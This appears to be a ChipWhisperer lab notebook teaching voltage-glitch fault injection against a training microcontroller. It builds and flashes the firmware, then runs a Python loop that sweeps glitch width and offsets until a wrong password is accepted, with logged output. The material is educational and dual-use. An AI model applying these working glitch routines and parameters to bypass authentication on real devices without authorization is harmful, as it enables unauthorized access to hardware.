Part 2, Topic 2: Voltage Glitching to Bypass Password

SUMMARY: We’ve seen how voltage glitching can be used to corrupt calculations, just like clock glitching. Let’s continue on and see if it can also be used to break past a password check.

LEARNING OUTCOMES:

  • Applying previous glitch settings to new firmware

  • Checking for success and failure when glitching

Firmware

Again, we’ve already covered this lab, so it’ll be mostly up to you!

In [1]:

SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEXMEGA'

In [2]:

%%bash -s "$PLATFORM"
cd ../../../hardware/victims/firmware/simpleserial-glitch
make PLATFORM=$1 CRYPTO_TARGET=NONE

Out [2]:

SS_VER set to SS_VER_1_1
rm -f -- simpleserial-glitch-CWLITEXMEGA.hex
rm -f -- simpleserial-glitch-CWLITEXMEGA.eep
rm -f -- simpleserial-glitch-CWLITEXMEGA.cof
rm -f -- simpleserial-glitch-CWLITEXMEGA.elf
rm -f -- simpleserial-glitch-CWLITEXMEGA.map
rm -f -- simpleserial-glitch-CWLITEXMEGA.sym
rm -f -- simpleserial-glitch-CWLITEXMEGA.lss
rm -f -- objdir/*.o
rm -f -- objdir/*.lst
rm -f -- simpleserial-glitch.s simpleserial.s XMEGA_AES_driver.s uart.s usart_driver.s xmega_hal.s
rm -f -- simpleserial-glitch.d simpleserial.d XMEGA_AES_driver.d uart.d usart_driver.d xmega_hal.d
rm -f -- simpleserial-glitch.i simpleserial.i XMEGA_AES_driver.i uart.i usart_driver.i xmega_hal.i
.
Welcome to another exciting ChipWhisperer target build!!
avr-gcc.exe (WinAVR 20100110) 4.3.3

Copyright (C) 2008 Free Software Foundation, Inc.

This is free software; see the source for copying conditions.  There is NO

warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.



.
Compiling C: simpleserial-glitch.c
avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial-glitch.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/simpleserial-glitch.o.d simpleserial-glitch.c -o objdir/simpleserial-glitch.o
.
Compiling C: .././simpleserial/simpleserial.c
avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/simpleserial.o.d .././simpleserial/simpleserial.c -o objdir/simpleserial.o
.
Compiling C: .././hal/xmega/XMEGA_AES_driver.c
avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/XMEGA_AES_driver.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/XMEGA_AES_driver.o.d .././hal/xmega/XMEGA_AES_driver.c -o objdir/XMEGA_AES_driver.o
.
Compiling C: .././hal/xmega/uart.c
avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/uart.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/uart.o.d .././hal/xmega/uart.c -o objdir/uart.o
.
Compiling C: .././hal/xmega/usart_driver.c
avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/usart_driver.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/usart_driver.o.d .././hal/xmega/usart_driver.c -o objdir/usart_driver.o
.
Compiling C: .././hal/xmega/xmega_hal.c
avr-gcc -c -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/xmega_hal.lst -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/xmega_hal.o.d .././hal/xmega/xmega_hal.c -o objdir/xmega_hal.o
.
Linking: simpleserial-glitch-CWLITEXMEGA.elf
avr-gcc -mmcu=atxmega128d3 -I. -fpack-struct -gdwarf-2 -DSS_VER=SS_VER_1_1 -DHAL_TYPE=HAL_xmega -DPLATFORM=CWLITEXMEGA -DF_CPU=7372800UL -Os -funsigned-char -funsigned-bitfields -fshort-enums -Wall -Wstrict-prototypes -Wa,-adhlns=objdir/simpleserial-glitch.o -I.././simpleserial/ -I.././hal -I.././hal/xmega -I.././crypto/ -std=gnu99  -MMD -MP -MF .dep/simpleserial-glitch-CWLITEXMEGA.elf.d objdir/simpleserial-glitch.o objdir/simpleserial.o objdir/XMEGA_AES_driver.o objdir/uart.o objdir/usart_driver.o objdir/xmega_hal.o --output simpleserial-glitch-CWLITEXMEGA.elf -Wl,-Map=simpleserial-glitch-CWLITEXMEGA.map,--cref   -lm
.
Creating load file for Flash: simpleserial-glitch-CWLITEXMEGA.hex
avr-objcopy -O ihex -R .eeprom -R .fuse -R .lock -R .signature simpleserial-glitch-CWLITEXMEGA.elf simpleserial-glitch-CWLITEXMEGA.hex
.
Creating load file for EEPROM: simpleserial-glitch-CWLITEXMEGA.eep
avr-objcopy -j .eeprom --set-section-flags=.eeprom="alloc,load" --change-section-lma .eeprom=0 --no-change-warnings -O ihex simpleserial-glitch-CWLITEXMEGA.elf simpleserial-glitch-CWLITEXMEGA.eep || exit 0
.
Creating Extended Listing: simpleserial-glitch-CWLITEXMEGA.lss
avr-objdump -h -S -z simpleserial-glitch-CWLITEXMEGA.elf > simpleserial-glitch-CWLITEXMEGA.lss
.
Creating Symbol Table: simpleserial-glitch-CWLITEXMEGA.sym
avr-nm -n simpleserial-glitch-CWLITEXMEGA.elf > simpleserial-glitch-CWLITEXMEGA.sym
Size after:
   text        data     bss     dec     hex filename

   2288          22      52    2362     93a simpleserial-glitch-CWLITEXMEGA.elf

+--------------------------------------------------------
+ Default target does full rebuild each time.
+ Specify buildtarget == allquick == to avoid full rebuild
+--------------------------------------------------------
+--------------------------------------------------------
+ Built for platform CW-Lite XMEGA with:
+ CRYPTO_TARGET = NONE
+ CRYPTO_OPTIONS =
+--------------------------------------------------------

In [3]:

%run "../../Setup_Scripts/Setup_Generic.ipynb"

Out [3]:

Serial baud rate = 38400
INFO: Found ChipWhisperer😍

In [4]:

fw_path = "../../../hardware/victims/firmware/simpleserial-glitch/simpleserial-glitch-{}.hex".format(PLATFORM)
cw.program_target(scope, prog, fw_path)

Out [4]:

XMEGA Programming flash...
XMEGA Reading flash...
Verified flash OK, 2309 bytes

In [5]:

if PLATFORM == "CWLITEXMEGA":
    scope.clock.clkgen_freq = 32E6
    target.baud = 38400*32/7.37
    def reboot_flush():
        scope.io.pdic = False
        time.sleep(0.1)
        scope.io.pdic = "high_z"
        time.sleep(0.1)
        #Flush garbage too
        target.flush()
else:
    scope.clock.clkgen_freq = 24E6
    target.baud = 38400*24/7.37
    def reboot_flush():
        scope.io.nrst = False
        time.sleep(0.05)
        scope.io.nrst = "high_z"
        time.sleep(0.05)
        #Flush garbage too
        target.flush()

Out [5]:

Serial baud rate = 166729.98643147896

In [6]:

#Do glitch loop
reboot_flush()
pw = bytearray([0x74, 0x6F, 0x75, 0x63, 0x68])
target.simpleserial_write('p', pw)

val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
valid = val['valid']
if valid:
    response = val['payload']
    raw_serial = val['full_response']
    error_code = val['rv']

print(val)

Out [6]:

{'valid': True, 'payload': CWbytearray(b'01'), 'full_response': 'r01n', 'rv': 1}

In [7]:

scope.glitch.clk_src = "clkgen" # set glitch input clock
scope.glitch.output = "glitch_only" # glitch_out = clk ^ glitch
scope.glitch.trigger_src = "ext_single" # glitch only after scope.arm() called
if PLATFORM == "CWLITEXMEGA":
    scope.io.glitch_lp = True
    scope.io.glitch_hp = True
elif PLATFORM == "CWLITEARM":
    scope.io.glitch_lp = True
    scope.io.glitch_hp = True
elif PLATFORM == "CW308_STM32F3":
    scope.io.glitch_hp = True
    scope.io.glitch_lp = True

In [8]:

import matplotlib.pylab as plt
import chipwhisperer.common.results.glitch as glitch
gc = glitch.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset"])
gc.display_stats()

Out [8]:

In [9]:

from importlib import reload
import chipwhisperer.common.results.glitch as glitch
from tqdm.notebook import tqdm
import re
import struct
gc.set_range("ext_offset", 11, 31)
g_step = 0.2
if PLATFORM=="CWLITEXMEGA":
    gc.set_range("width", 45.7, 47.8)
    gc.set_range("offset", 2.8, 10)
    scope.glitch.repeat = 10
    gc.set_range("ext_offset", 0, 15)
elif PLATFORM == "CWLITEARM":
    #should also work for the bootloader memory dump
    gc.set_range("width", 34.7, 36)
    gc.set_range("offset", -41, -30)
    scope.glitch.repeat = 7
elif PLATFORM == "CW308_STM32F3":
    #these specific settings seem to work well for some reason
    #also works for the bootloader memory dump
    gc.set_range("ext_offset", 11, 31)
    gc.set_range("width", 47.6, 49.6)
    gc.set_range("offset", -19, -21.5)
    scope.glitch.repeat = 5




gc.set_global_step(g_step)
scope.adc.timeout = 0.1

reboot_flush()
sample_size = 1
successes = 0

for glitch_settings in gc.glitch_values():
    scope.glitch.offset = glitch_settings[1]
    scope.glitch.width = glitch_settings[0]
    scope.glitch.ext_offset = glitch_settings[2]
    if scope.adc.state:
        # can detect crash here (fast) before timing out (slow)
        print("Trigger still high!")
        gc.add("reset", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
        reboot_flush()

    scope.arm()
    target.simpleserial_write('p', bytearray([0]*5))
    scope.io.glitch_hp = False
    scope.io.glitch_hp = True
    scope.io.glitch_lp = False
    scope.io.glitch_lp = True
    ret = scope.capture()

    val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check
    if ret:
        print('Timeout - no trigger')
        gc.add("reset", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))

        #Device is slow to boot?
        reboot_flush()

    else:
        if val['valid'] is False:
            gc.add("reset", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
        else:
            if val['rv'] == 1: #for loop check
                successes +=1
                gc.add("success", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))
                print(val)
                print(val['payload'])
                print(scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset)
                print("🐙", end="")
            else:
                gc.add("normal", (scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset))

Out [9]:

ERROR:root:Ack error, couldn't decode return z˜0

ERROR:root:Ack error: rRES
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
Trigger still high!
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
Trigger still high!
Trigger still high!
ERROR:root:Ack error, couldn't decode return z˜0

ERROR:root:Ack error, couldn't decode return z˜0
Trigger still high!
Trigger still high!
Trigger still high!
ERROR:root:Ack error, couldn't decode return z˜0

ERROR:root:Ack error, couldn't decode return z˜0

WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
Trigger still high!
Trigger still high!
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
ERROR:root:Ack error, couldn't decode return z˜0
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
ERROR:root:Ack error, couldn't decode return z˜0
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
Trigger still high!
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
WARNING:root:Timeout in OpenADC capture(), trigger FORCED
Timeout - no trigger
Trigger still high!

In [10]:

scope.dis()
target.dis()

In [11]:

assert successes >= 1

In [ ]: